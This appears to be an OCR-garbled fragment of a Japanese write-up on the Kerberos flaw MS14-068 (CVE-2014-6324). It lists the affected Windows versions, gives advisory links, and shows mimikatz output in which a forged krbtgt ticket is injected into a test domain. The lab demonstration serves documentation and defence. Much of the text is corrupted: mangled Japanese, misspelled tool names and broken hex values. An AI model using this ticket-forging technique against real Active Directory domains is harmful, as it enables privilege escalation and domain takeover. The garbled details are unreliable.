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— Windows Server 2003 Service Pack 2
— Windows Server 2003 x64 Edition Service Pack 2
— Windows Server 2003 with SP2 for Itanium—based Systems
— Windows Vista Service Pack 2
— Windows Vista x64 Edition Service Pack 2
— Windows Server 2008 for 32—bit Systems Service Pack 2 (Server Core 1> Ab—ILZEEL)
— Windows Server 2008 for x64—based Systems Service Pack 2 (Server Core 1> Ab—ILEEL)
— Windows Server 2008 for Itanium—based Systems Service Pack 2
— Windows 7 for 32-bit Systems Service Pack 1
— Windows 7 for x64—based Systems Service Pack 1
— Windows Server 2008 R2 for x64—-based Systems Service Pack 1(Server Core 1> Ab—ILEEL)
— Windows Server 2008 R2 for Itanium—based Systems Service Pack 1
— Windows 8 for 32—bit Systems
— Windows 8 for x64—based Systems
— Windows 8.1 for 32-bit Systems
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— Windows 8.1 for x64—based Systems
- Windows Server 2012 (Server Core 12 A—ILEET)
- Windows Server 2012 R2(Server Core 1> A—ILZEET)
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— Additional information about CVE-2014-6324
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http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6324
https://technet.microsoft.com/ja-jp/library/security/ms14-068.aspx
http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx
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PS C:\tmp>

i, minikatz 2.0 alpha (x86) release "Kiwi en C” (Nov 20 2014 01:35:31)
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THE v http://blog.gentilkiwi.con/mimikatz oe.eo)
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mimikatz({commandline) Hpy pu = " Emm = mmE
Principal : (01) : dctest ; @ 2008R2AD.TESTDOMAIN

Data 0
Start/End/HaxRenew: 2014/12/15 13:45:55 ; 2014/12/15 23:45:95 ; 2014/12/22 13:45:55
Service Name (81) : krbtgt ; 2008RZAD.TESTDOMAIN ; @ 2008R2AD.TESTDOMAIN
Target Name : krbtgt ; 2008R2AD.TESTDOMAIN ; @ 2008R2AD. TESTDOMALN
Client Name : dctest ; @ 2008R2AD. TESTDOMAIN
Flags 50a00000 P opre authent ; renewable ; proxiable ; forwardable ;
Session Key 0=x00000017 - rcd_hmac_nt
8927ebc332be?57£685877ﬂ267acd334
Ticket : Bx0PBEEOEO - null i kvno = 2
#* Injecting ticket : OK

mimikatz(commandline) # exit
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